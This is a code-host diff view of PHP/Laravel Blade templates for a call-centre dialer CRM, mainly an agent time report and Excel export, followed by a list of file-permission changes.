| 71 | |||
| 72 | foreach($reportarray as $uid=>$uarr) | ||
| 73 | { | ||
| 74 | $row = $baseRow++; | ||
| 75 | $col = 0; | ||
| 76 | |||
| 77 | if($urr->auth_question!='') | ||
| 78 | { | ||
| 79 | $urr->auth_question = (array)json_decode($urr->auth_question); | ||
| 80 | } | ||
| 81 | |||
| 82 | for ($head = 0; $head < $highestColumn; $head++){ | ||
| 83 | |||
| 84 | if($reporthead[$head]=="created_at") | ||
| 85 | $uarr->$reporthead[$head]=date("Y-m-d H:i:s",strtotime($uarr->$reporthead[$head])+330*60); | ||
| 86 | |||
| 87 | if($reporthead[$head]=="updated_at") | ||
| 88 | $uarr->$reporthead[$head]=date("Y-m-d H:i:s",strtotime($uarr->$reporthead[$head])+330*60); | ||
| 89 | |||
| 90 | if($reporthead[$head]=="question_time") | ||
| 91 | $uarr->$reporthead[$head]=date("Y-m-d H:i:s",strtotime($uarr->$reporthead[$head])+330*60); | ||
| 92 | |||
| 93 | $colstr=PHPExcel_Cell::stringFromColumnIndex($head); | ||
| 94 | $objPHPExcel->getActiveSheet()->setCellValue($colstr.$row, $uarr->$reporthead[$head]); | ||
| 95 | } | ||
| 96 | } | ||
| 97 | |||
| 98 | |||
| 99 | header('Content-Type: application/vnd.ms-excel'); | ||
| 100 | header('Content-Disposition: attachment;filename="QAireLog.xls"'); | ||
| 101 | header('Cache-Control: max-age=0'); | ||
| 102 | |||
| 103 | $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, $inputFileType); | ||
| 104 | $objWriter->save('php://output'); | ||
| 105 | |||
| 106 | return ; | ||
| 107 | } | ||
| 108 | |||
| 109 | ?> | ||
| 110 | |||
| 111 | |||
| 112 | <div class=innerAll> | ||
| 113 | |||
| 114 | |||
| 115 | <style>#logtable.td{vertical-align:top;}#logtable.tr{height:28px;overflow-y:hidden;}</style> | ||
| 116 | <script> | ||
| 117 | $(document).ready(function() | ||
| 118 | { | ||
| 119 | if(!$('#dialoglog').hasClass('ui-dialog-content')) | ||
| 120 | { | ||
| 121 | $('#dialoglog').dialog({ | ||
| 122 | autoOpen: false, | ||
| 123 | width: '70%', | ||
| 124 | buttons: { | ||
| 125 | "Ok": function() { | ||
| 126 | $(this).dialog("close"); | ||
| 127 | }, | ||
| 128 | "Cancel": function() { | ||
| 129 | $(this).dialog("close"); | ||
| 130 | } | ||
| 131 | } | ||
| 132 | }); | ||
| 133 | } | ||
| 134 | |||
| 135 | waitKeyUpRun("filter",function() { filter2(document.getElementById('filter'), 'logtable') },"2000"); | ||
| 136 | $('#modfrom').datepicker({dateFormat: 'yy-mm-dd',inline: true,changeYear: true,selectOtherMonths: true,yearRange: '<?php echo (date('Y')-70).":".(date('Y')+5); ?>'}); | ||
| 137 | |||
| 138 | $('#modto').datepicker({dateFormat: 'yy-mm-dd',inline: true,changeYear: true,selectOtherMonths: true,yearRange: '<?php echo (date('Y')-70).":".(date('Y')+5); ?>'}); | ||
| 139 | }); | ||
| 140 | </script> | ||
| 141 | <div style="float:left;width:50%"> | ||
| 142 | |||
| 143 | |||
| 144 | </div> | ||
| 145 | <div style="float:right;width:50%"> | ||
| 146 | |||
| 147 | |||
| 148 | <button class="pull-right btn btn-sm btn-default" onclick='dlAgentlogXls();return false;' title='Download' style='margin-top:-8px'><i class='fa fa-download'></i> Download</button> | ||
| 149 | |||
| 150 | </div> | ||
| 151 | <div style="clear:both"></div> | ||
| 152 | <hr> | ||
| 153 | |||
| 154 | <div class=col-md-12> | ||
| 155 | |||
| 156 | |||
| 157 | <div id=userlogschart1 style='min-height:300px;width:100%'></div> | ||
| 158 | </div> | ||
| 159 | |||
| 160 | <script> | ||
| 161 | function dlAgentlogXls() | ||
| 162 | { | ||
| 163 | window.open('dialer/questionnaire?dllogxls=1&logdate='+$("#modfrom").val());return false; | ||
| 164 | } | ||
| 165 | </script> | ||
| 166 | |||
| 167 | <div style='clear:both'></div> | ||
| 168 | |||
| 169 | <div class=col-md-12> | ||
| 170 | |||
| 171 | |||
| 172 | <div id=userlogschart2 style='min-height:300px;width:100%'></div> | ||
| 173 | |||
| 174 | </div> | ||
| 175 | |||
| 176 | |||
| 177 | |||
| 178 | <div style='clear:both'></div> | ||
| 179 | |||
| 180 | <div style='overflow:auto'> | ||
| 181 | <table id=logtable class='footable table table-striped table-bordered table-white table-primary footable-loaded' style='font-size:12px'> | ||
| 182 | <thead> | ||
| 183 | <?php /*echo $outhead;*/ ?> | ||
| 184 | </thead> | ||
| 185 | <?php /*echo $outstr;*/ ?> | ||
| 186 | </table> | ||
| 187 | </div> | ||
| 188 | |||
| 189 | <div id=dialoglog></div> | ||
| 190 | |||
| 191 | |||
| 192 | |||
| 193 | |||
| 194 | |||
| 195 | </div> |
| 1 | <?php | ||
| 2 | use App\Models\CRMCall; | ||
| 3 | use App\Models\CRMCallArchive; | ||
| 4 | use App\Models\User; | ||
| 5 | use App\Models\UserLog; | ||
| 6 | use App\Jobs\KHRMSLib; | ||
| 7 | |||
| 8 | $wakka = new KHRMSLib(); | ||
| 9 | $dashboarduser=Auth::user(); | ||
| 10 | $timeoffset = $dashboarduser->timezone; //-330; //$dashboarduser->timezone; | ||
| 11 | $timeoffset = $timeoffset*60; | ||
| 12 | |||
| 13 | $logtime =(isset($_GET['logtime'])) ? $_GET['logtime'] : "00:00:00"; | ||
| 14 | $logtimeto =(isset($_GET['logtimeto']))? $_GET['logtimeto']:"23:59:59"; | ||
| 15 | $logdate =(isset($_GET['logdate'])) ? strtotime($_GET['logdate']." ".$logtime) : strtotime(date("Y-m-d")." ".$logtime); | ||
| 16 | $logdateto =(isset($_GET['logdateto']))? strtotime($_GET['logdateto']." ".$logtimeto) : strtotime(date("Y-m-d")." ".$logtimeto); | ||
| 17 | |||
| 18 | $campaign =(isset($_GET['campaign'])) ? $_GET['campaign'] : "All"; | ||
| 19 | |||
| 20 | $alist=CRMCallArchive::where('user_id','!=',0)->where('created_at','>=',date("Y-m-d H:i:s",$logdate))->where('created_at','<=',date("Y-m-d H:i:s",$logdateto)); | ||
| 21 | $alist->orderBy('user_id', 'ASC')->orderBy('ts_Close', 'ASC'); | ||
| 22 | |||
| 23 | $userlog=UserLog::where('created_at','>=',date("Y-m-d H:i:s",$logdate))->where('created_at','<=',date("Y-m-d H:i:s",$logdateto)); | ||
| 24 | |||
| 25 | if($campaign != 'All') $alist->where('client','=',$campaign); | ||
| 26 | |||
| 27 | $userarr=array(); | ||
| 28 | $allusers = DB::table('users as u1')->leftjoin('users AS u2', 'u2.username', '=', 'u1.supervisor') | ||
| 29 | ->select('u1.id','u1.username','u1.fullname AS telecaller', 'u2.fullname AS sepervisor') | ||
| 30 | ->where('u1.status','=','Active'); | ||
| 31 | |||
| 32 | $roclientstr=array();$didlinesstr=array(); | ||
| 33 | if($dashboarduser->exten!="")$didlinesstr[]=$dashboarduser->exten; | ||
| 34 | $oclientlst=$wakka->clientsReadAccess(); sort($oclientlst); $oclientlst[0] = 'All'; | ||
| 35 | |||
| 36 | if(!empty($oclientlst))foreach($oclientlst as $tclnt)if($tclnt!="") | ||
| 37 | { | ||
| 38 | $roclientstr[]="$tclnt"; | ||
| 39 | |||
| 40 | $mastersdata=$wakka->getCompanyMaster($tclnt); | ||
| 41 | if(!empty($mastersdata["DialerDID"]))$didlinesstr[]=$mastersdata["DialerDID"]; | ||
| 42 | } | ||
| 43 | |||
| 44 | $breaks=array("Paused","AgentBriefing","TeamMeeting","QualityFeedback","LunchBreak","TeaBreak","UtilityBreak","FloorAnnouncements","DownTime"); | ||
| 45 | $reporthead=array_merge(array("#","Emp ID","Actual Name","Team Leader","Signin","Signout","Total dialouts","Login Time","TOS","Idle Time","Ring Time","Talk Time","Wrap Time"),$breaks); | ||
| 46 | $reportarray=array(); | ||
| 47 | |||
| 48 | $i=1; | ||
| 49 | if($dashboarduser->usertype != 'Admin') | ||
| 50 | { | ||
| 51 | $uidlist=array($dashboarduser->id); | ||
| 52 | $allusers=$allusers->where(function ($query) use($dashboarduser) { | ||
| 53 | $query->where('u1.supervisor','=',$dashboarduser->username) | ||
| 54 | ->orWhere('u1.lteam2','=',$dashboarduser->username) | ||
| 55 | ->orWhere('u1.lteam','=',$dashboarduser->username); | ||
| 56 | })->get(); | ||
| 57 | |||
| 58 | foreach($allusers as $tuser) | ||
| 59 | { | ||
| 60 | $uidlist[]=$tuser->id; | ||
| 61 | $reportarray[$tuser->id]=array("#"=>$i++,"Emp ID"=>$tuser->username,"Actual Name"=>$tuser->telecaller,"Team Leader"=>$tuser->sepervisor); | ||
| 62 | } | ||
| 63 | $reportarray[$dashboarduser->id]=array("#"=>$i++,"Emp ID"=>$dashboarduser->username,"Actual Name"=>$dashboarduser->fullname,"Team Leader"=>$dashboarduser->supervisor); | ||
| 64 | |||
| 65 | $alist=$alist->whereIn('user_id',$uidlist); | ||
| 66 | |||
| 67 | /*$alist=$alist->where(function ($query) use($roclientstr,$uidlist,$didlinesstr){ | ||
| 68 | $query->orWhereIn('client',$roclientstr) | ||
| 69 | ->orWhereIn('did',$didlinesstr); | ||
| 70 | });*/ | ||
| 71 | |||
| 72 | $userlog=$userlog->whereIn('user_id',$uidlist); | ||
| 73 | }else{ | ||
| 74 | $allusers=$allusers->get(); | ||
| 75 | foreach($allusers as $tuser) | ||
| 76 | { | ||
| 77 | $reportarray[$tuser->id]=array("#"=>$i++,"Emp ID"=>$tuser->username,"Actual Name"=>$tuser->telecaller,"Team Leader"=>$tuser->sepervisor); | ||
| 78 | } | ||
| 79 | } | ||
| 80 | |||
| 81 | $alist=$alist->get(); | ||
| 82 | $userlog=$userlog->get(); | ||
| 83 | $prev_close = 0; | ||
| 84 | |||
| 85 | foreach($alist as $aline) | ||
| 86 | { | ||
| 87 | if($prev_user != $aline->user_id || $prev_close <= $aline->ts_Wait) | ||
| 88 | { | ||
| 89 | $userid=$aline->user_id; | ||
| 90 | |||
| 91 | $talktime=$aline->talkSec+$aline->recstartSec+$aline->recendSec; | ||
| 92 | $totaltime=$aline->callSec+$talktime+$aline->dispoSec; | ||
| 93 | |||
| 94 | $reportarray[$userid]["oncall"]+=$totaltime/1000; | ||
| 95 | //$reportarray[$userid]["Wait"]+=$aline->waitSec/1000; | ||
| 96 | $reportarray[$userid]["Ring Time"]+=$aline->callSec/1000; | ||
| 97 | $reportarray[$userid]["Talk Time"]+=$talktime/1000; | ||
| 98 | $reportarray[$userid]["Wrap Time"]+=$aline->dispoSec/1000; | ||
| 99 | } | ||
| 100 | $reportarray[$userid]["Total dialouts"]++; | ||
| 101 | $prev_close = $aline->ts_Close;//-ts_Wait | ||
| 102 | $prev_user = $aline->user_id;//-ts_Wait | ||
| 103 | } | ||
| 104 | |||
| 105 | function cmp($a, $b) { | ||
| 106 | return $a["ts"] - $b["ts"]; | ||
| 107 | } | ||
| 108 | $userLogin=array(); | ||
| 109 | foreach($userlog as $ulog) | ||
| 110 | { | ||
| 111 | $data=json_decode($ulog->data,true); | ||
| 112 | usort($data, "cmp"); | ||
| 113 | |||
| 114 | $lastSip = end($data); | ||
| 115 | $starttime = strtotime($ulog->startdate.' '.$ulog->starttime); | ||
| 116 | $endtime = round($lastSip['ts']/1000); | ||
| 117 | $userLogin[$ulog->user_id]['duration'] += ($endtime-$starttime); | ||
| 118 | $userLogin[$ulog->user_id]['start'][] = $starttime; | ||
| 119 | $userLogin[$ulog->user_id]['end'][] = $endtime; | ||
| 120 | |||
| 121 | $prets=strtotime($ulog->startdate." ".$ulog->starttime)*1000; | ||
| 122 | $previous="Paused-Paused"; | ||
| 123 | foreach($data as $sdata) | ||
| 124 | { | ||
| 125 | $pts=$sdata['ts']; | ||
| 126 | if(isset($sdata['states'])) | ||
| 127 | { | ||
| 128 | foreach($sdata['states'] as $ts=>$states) | ||
| 129 | { | ||
| 130 | $previous = str_replace('Paused-', '', $previous); | ||
| 131 | if(!in_array($previous,$reporthead) && !in_array($previous,array('Progressive-','Manual-','Ready-Incoming','Ready-Predictive','DialNext-'))) { | ||
| 132 | $previous = 'Paused'; | ||
| 133 | } | ||
| 134 | |||
| 135 | $reportarray[$ulog->user_id][$previous]+=round($ts-$prets,2)/1000; | ||
| 136 | //echo $previous . " == " . $reportarray[$ulog->user_id][$previous] . " == " . $pts . '-' . $prets . ':::' . round($pts-$prets,2)/1000 . "<br />"; | ||
| 137 | |||
| 138 | $prets=$ts; | ||
| 139 | $previous=$states[0].'-'.$states[1]; | ||
| 140 | } | ||
| 141 | $previous = str_replace('Paused-', '', $previous); | ||
| 142 | $reportarray[$ulog->user_id][$previous]+=round($pts-$prets,2)/1000; | ||
| 143 | $prets=$pts; | ||
| 144 | } | ||
| 145 | } | ||
| 146 | } | ||
| 147 | |||
| 148 | if(count($userLogin)) foreach ($userLogin as $userid => $value) | ||
| 149 | { | ||
| 150 | $break_time=0; | ||
| 151 | foreach ($breaks as $break) { | ||
| 152 | $break_time+=$reportarray[$userid][$break]; | ||
| 153 | } | ||
| 154 | $reportarray[$userid]["Signin"]=date("Y-m-d H:i:s", min($value['start'])); | ||
| 155 | $reportarray[$userid]["Signout"]=date("Y-m-d H:i:s", max($value['end'])); | ||
| 156 | $reportarray[$userid]["Login Time"]=$value['duration']; | ||
| 157 | $reportarray[$userid]["TOS"]=$value['duration']-$break_time; | ||
| 158 | $reportarray[$userid]["Idle Time"]=$reportarray[$userid]["TOS"]-$reportarray[$userid]['oncall']; | ||
| 159 | } | ||
| 160 | |||
| 161 | $highestColumn = sizeof($reporthead); | ||
| 162 | if(count($reportarray)) { | ||
| 163 | $outhead="<tr>";$outstr=""; | ||
| 164 | for ($head = 0; $head < $highestColumn; $head++){ | ||
| 165 | if($reporthead[$head] == '#') { | ||
| 166 | $mode_str = "<a onclick='displayMode(".'"summation"'.");return false;' href='#'><i class='fa fa-plus-square-o'></i></a> / <a onclick='displayMode(".'"percent"'.");return false;' href='#'>%</a>"; | ||
| 167 | $outhead.="<td>".$mode_str."</td>"; | ||
| 168 | } | ||
| 169 | else { | ||
| 170 | $outhead.="<td>".$reporthead[$head]."</td>"; | ||
| 171 | } | ||
| 172 | } | ||
| 173 | $outhead.="</tr>"; | ||
| 174 | $utotalarr = array("Emp ID"=>'Total'); | ||
| 175 | |||
| 176 | foreach($reportarray as $uid=>$uarr) | ||
| 177 | { | ||
| 178 | $outstr.="<tr>"; | ||
| 179 | for ($head = 0; $head < $highestColumn; $head++){ | ||
| 180 | if($head < 6) { | ||
| 181 | $data_str = $uarr[$reporthead[$head]]; | ||
| 182 | } | ||
| 183 | elseif($head < 7) { | ||
| 184 | $data_str = $uarr[$reporthead[$head]]; | ||
| 185 | $utotalarr[$reporthead[$head]] += $uarr[$reporthead[$head]]; | ||
| 186 | } | ||
| 187 | else { | ||
| 188 | $data_str = secToDuration(round($uarr[$reporthead[$head]])); | ||
| 189 | $utotalarr[$reporthead[$head]] += $uarr[$reporthead[$head]]; | ||
| 190 | } | ||
| 191 | $outstr.="<td>".$data_str."</td>"; | ||
| 192 | } | ||
| 193 | $outstr.="</tr>"; | ||
| 194 | } | ||
| 195 | $outstr.="<tr>"; | ||
| 196 | for ($head = 0; $head < $highestColumn; $head++) | ||
| 197 | { | ||
| 198 | if($head < 7) { | ||
| 199 | $data_str = $utotalarr[$reporthead[$head]]; | ||
| 200 | } | ||
| 201 | else { | ||
| 202 | $data_str = secToDuration($utotalarr[$reporthead[$head]]); | ||
| 203 | } | ||
| 204 | $outstr.="<td>".$data_str."</td>"; | ||
| 205 | } | ||
| 206 | $outstr.="</tr>"; | ||
| 207 | } | ||
| 208 | else { | ||
| 209 | $outhead.="<tr><td>No Records Found.</td></tr>"; | ||
| 210 | } | ||
| 211 | |||
| 212 | if(Input::has("dllogxls")) | ||
| 213 | { | ||
| 214 | include_once(app_path().'/lib/phpexcel/PHPExcel.php'); | ||
| 215 | |||
| 216 | $inputFileType = "Excel5"; | ||
| 217 | $objReader = PHPExcel_IOFactory::createReader($inputFileType); | ||
| 218 | $objPHPExcel = $objReader->load("assets/extras/blank.xls"); | ||
| 219 | $baseRow = 2; | ||
| 220 | |||
| 221 | |||
| 222 | $highestColumn = sizeof($reporthead); | ||
| 223 | for ($head = 0; $head < $highestColumn; $head++){ | ||
| 224 | $colstr=PHPExcel_Cell::stringFromColumnIndex($head); | ||
| 225 | $objPHPExcel->getActiveSheet()->setCellValue($colstr."1", $reporthead[$head]); | ||
| 226 | } | ||
| 227 | |||
| 228 | foreach($reportarray as $uid=>$uarr) | ||
| 229 | { | ||
| 230 | $row = $baseRow++; | ||
| 231 | $col = 0; | ||
| 232 | |||
| 233 | for ($head = 0; $head < $highestColumn; $head++){ | ||
| 234 | $excelval = ($head < 7) ? $uarr[$reporthead[$head]] : secToDuration(round($uarr[$reporthead[$head]])); | ||
| 235 | $colstr=PHPExcel_Cell::stringFromColumnIndex($head); | ||
| 236 | $objPHPExcel->getActiveSheet()->setCellValue($colstr.$row, $excelval); | ||
| 237 | } | ||
| 238 | } | ||
| 239 | |||
| 240 | $row++; | ||
| 241 | for ($head = 0; $head < $highestColumn; $head++){ | ||
| 242 | $excelval = ($head < 7) ? $utotalarr[$reporthead[$head]] : secToDuration(round($utotalarr[$reporthead[$head]])); | ||
| 243 | $colstr=PHPExcel_Cell::stringFromColumnIndex($head); | ||
| 244 | $objPHPExcel->getActiveSheet()->setCellValue($colstr.$row, $excelval); | ||
| 245 | } | ||
| 246 | |||
| 247 | header('Content-Type: application/vnd.ms-excel'); | ||
| 248 | header('Content-Disposition: attachment;filename="AgentTime.xls"'); | ||
| 249 | header('Cache-Control: max-age=0'); | ||
| 250 | |||
| 251 | $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, $inputFileType); | ||
| 252 | $objWriter->save('php://output'); | ||
| 253 | |||
| 254 | return ; | ||
| 255 | } | ||
| 256 | |||
| 257 | function secToDuration($sec) { | ||
| 258 | return sprintf("%02d%s%02d%s%02d", floor($sec/3600), ':', ($sec/60)%60, ':', $sec%60); | ||
| 259 | } | ||
| 260 | ?> | ||
| 261 | |||
| 262 | <style>#logtable.td{vertical-align:top;}#logtable.tr{height:28px;overflow-y:hidden;}</style> | ||
| 263 | |||
| 264 | <div class=innerAll> | ||
| 265 | <h4 style="float:left;width:50%;margin:10px 0;">Agent Time Report</h4> | ||
| 266 | <div style="float:right;width:50%"> | ||
| 267 | <button class="pull-right btn btn-sm btn-default" onclick='dlAgentlogXls();return false;' title='Download'><i class='fa fa-download'></i> Download</button> | ||
| 268 | </div> | ||
| 269 | <div style="clear:both"></div> | ||
| 270 | <hr style="margin-bottom: 5px;"> | ||
| 271 | <div> | ||
| 272 | Search <input id=filter name="filter" type="text" style="border:1px solid #efefef; padding: 2px 10px;"> | ||
| 273 | Date: From <input size=10 id='modfrom' name='modfrom' type='text' value='<?php echo date("Y-m-d",$logdate); ?>' onchange='statusLogReloadFun("");' /> | ||
| 274 | To <input size=10 id='modto' name='modto' type='text' value='<?php echo date("Y-m-d",$logdateto); ?>' onchange='statusLogReloadFun("");' /> | ||
| 275 | </div> | ||
| 276 | |||
| 277 | <div style="clear:both"></div> | ||
| 278 | <hr style="margin:5px;"> | ||
| 279 | |||
| 280 | <div style="overflow: auto; margin-top: 10px;"> | ||
| 281 | <table id=logtable class='footable table table-striped table-bordered table-white table-primary footable-loaded' style='font-size:12px; margin:0; border:1px solid #BBB;'> | ||
| 282 | <thead><?php echo $outhead; ?></thead> | ||
| 283 | <?php echo $outstr; ?> | ||
| 284 | </table> | ||
| 285 | </div> | ||
| 286 | |||
| 287 | <div id=dialoglog></div> | ||
| 288 | </div> | ||
| 289 | |||
| 290 | <script> | ||
| 291 | $(document).ready(function() { | ||
| 292 | if(!$('#dialoglog').hasClass('ui-dialog-content')) | ||
| 293 | { | ||
| 294 | $('#dialoglog').dialog({ | ||
| 295 | autoOpen: false, | ||
| 296 | width: '70%', | ||
| 297 | buttons: { | ||
| 298 | "Ok": function() { | ||
| 299 | $(this).dialog("close"); | ||
| 300 | }, | ||
| 301 | "Cancel": function() { | ||
| 302 | $(this).dialog("close"); | ||
| 303 | } | ||
| 304 | } | ||
| 305 | }); | ||
| 306 | } | ||
| 307 | |||
| 308 | waitKeyUpRun("filter",function() { filter2(document.getElementById('filter'), 'logtable') },"2000"); | ||
| 309 | $('#modfrom').datepicker({dateFormat: 'yy-mm-dd',inline: true,changeYear: true,selectOtherMonths: true,yearRange: '<?php echo (date('Y')-70).":".(date('Y')+5); ?>'}); | ||
| 310 | $('#modto').datepicker({dateFormat: 'yy-mm-dd',inline: true,changeYear: true,selectOtherMonths: true,yearRange: '<?php echo (date('Y')-70).":".(date('Y')+5); ?>'}); | ||
| 311 | }); | ||
| 312 | |||
| 313 | function dataString() | ||
| 314 | { | ||
| 315 | return 'logdate='+$("#modfrom").val()+'&logdateto='+$("#modto").val(); | ||
| 316 | } | ||
| 317 | function statusLogReloadFun(sortby) | ||
| 318 | { | ||
| 319 | var sortstr='';if(sortby!="")sortstr="&sort="+sortby | ||
| 320 | var searchStr = dataString(); | ||
| 321 | doAjax('dialer/agenttime?'+searchStr+sortstr,'','rightmainreportdiv','ajax_dialer_reports','singlethis','GET'); | ||
| 322 | } | ||
| 323 | function dlAgentlogXls() | ||
| 324 | { | ||
| 325 | var searchStr = dataString(); | ||
| 326 | window.open('dialer/agenttime?dllogxls=1&'+searchStr); | ||
| 327 | return false; | ||
| 328 | } | ||
| 329 | </script> |
File mode changed
File mode changed
| ... | @@ -10,11 +10,11 @@ if($dashboarduser->usertype != 'Admin'){ | ... | @@ -10,11 +10,11 @@ if($dashboarduser->usertype != 'Admin'){ |
| 10 | ->orWhere('lteam2','=',$dashboarduser->username) | 10 | ->orWhere('lteam2','=',$dashboarduser->username) |
| 11 | ->orWhere('lteam','=',$dashboarduser->username); | 11 | ->orWhere('lteam','=',$dashboarduser->username); |
| 12 | })->get(); | 12 | })->get(); |
| 13 | } | 13 | } |
| 14 | else | 14 | else |
| 15 | { | 15 | { |
| 16 | $allusers=DB::table('users')->select('*')->get(); | 16 | $allusers=DB::table('users')->select('*')->get(); |
| 17 | } | 17 | } |
| 18 | 18 | ||
| 19 | foreach($allusers as $user){ | 19 | foreach($allusers as $user){ |
| 20 | 20 | ||
| ... | @@ -25,7 +25,7 @@ foreach($allusers as $user){ | ... | @@ -25,7 +25,7 @@ foreach($allusers as $user){ |
| 25 | <td>".$user->fullname."</td> | 25 | <td>".$user->fullname."</td> |
| 26 | <td>".$user->dialmode_assign."</td> | 26 | <td>".$user->dialmode_assign."</td> |
| 27 | 27 | ||
| 28 | </tr>"; | 28 | </tr>"; |
| 29 | } | 29 | } |
| 30 | ?> | 30 | ?> |
| 31 | 31 | ||
| ... | @@ -70,9 +70,9 @@ foreach($allusers as $user){ | ... | @@ -70,9 +70,9 @@ foreach($allusers as $user){ |
| 70 | 70 | ||
| 71 | </tr> | 71 | </tr> |
| 72 | </thead> | 72 | </thead> |
| 73 | <?php echo $outstr; ?> | 73 | <?php echo $outstr; ?> |
| 74 | </table> | 74 | </table> |
| 75 | </div> | 75 | </div> |
| 76 | </div> | 76 | </div> |
| 77 | </div> | 77 | </div> |
| 78 | </div> | 78 | </div> | ... | ... |
application/resources/views/layout/module/group/create.blade.php
100755 → 100644
File mode changed
application/resources/views/layout/module/group/edit.blade.php
100755 → 100644
File mode changed
application/resources/views/layout/module/group/index.blade.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
application/resources/views/layout/module/hr/emprecord.blade.php
100755 → 100644
File mode changed
File mode changed
application/resources/views/layout/module/hr/index.blade.php
100755 → 100644
File mode changed
application/resources/views/layout/module/hr/masters.blade.php
100755 → 100644
File mode changed
File mode changed
File mode changed
application/resources/views/layout/module/hr/workflow.blade.php
100755 → 100644
File mode changed
File mode changed
File mode changed
application/resources/views/layout/module/message/msg.blade.php
100755 → 100644
File mode changed
File mode changed
File mode changed
No preview for this file type
File mode changed
File mode changed
File mode changed
application/resources/views/layout/module/record/index.blade.php
100755 → 100644
File mode changed
application/resources/views/layout/module/record/save.blade.php
100755 → 100644
File mode changed
application/resources/views/layout/module/record/show.blade.php
100755 → 100644
File mode changed
File mode changed
application/resources/views/layout/module/role/create.blade.php
100755 → 100644
File mode changed
application/resources/views/layout/module/role/edit.blade.php
100755 → 100644
File mode changed
application/resources/views/layout/module/role/index.blade.php
100755 → 100644
File mode changed
File mode changed
File mode changed
application/resources/views/layout/module/social/index.blade.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
application/resources/views/layout/module/social/main.blade.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
application/resources/views/layout/module/social/wall.blade.php
100755 → 100644
File mode changed
application/resources/views/layout/module/task/index.blade.php
100755 → 100644
File mode changed
application/resources/views/layout/module/task/steps.blade.php
100755 → 100644
File mode changed
application/resources/views/layout/module/user/create.blade.php
100755 → 100644
File mode changed
application/resources/views/layout/module/user/edit.blade.php
100755 → 100644
File mode changed
application/resources/views/layout/module/user/index.blade.php
100755 → 100644
File mode changed
application/resources/views/layout/module/web/index.blade.php
100755 → 100644
File mode changed
application/resources/views/layout/noaccess.blade.php
100755 → 100644
File mode changed
application/resources/views/layout/profile/index.blade.php
100755 → 100644
File mode changed
application/resources/views/layout/style.blade.php
100755 → 100644
File mode changed
application/resources/views/layout/top_menu.blade.php
100755 → 100644
File mode changed
application/resources/views/login.blade.php
100755 → 100644
File mode changed
application/resources/views/reset.blade.php
100755 → 100644
File mode changed
application/resources/views/signup.blade.php
100755 → 100644
File mode changed
application/resources/views/vendor/.gitkeep
100755 → 100644
File mode changed
-
Please register or sign in to post a comment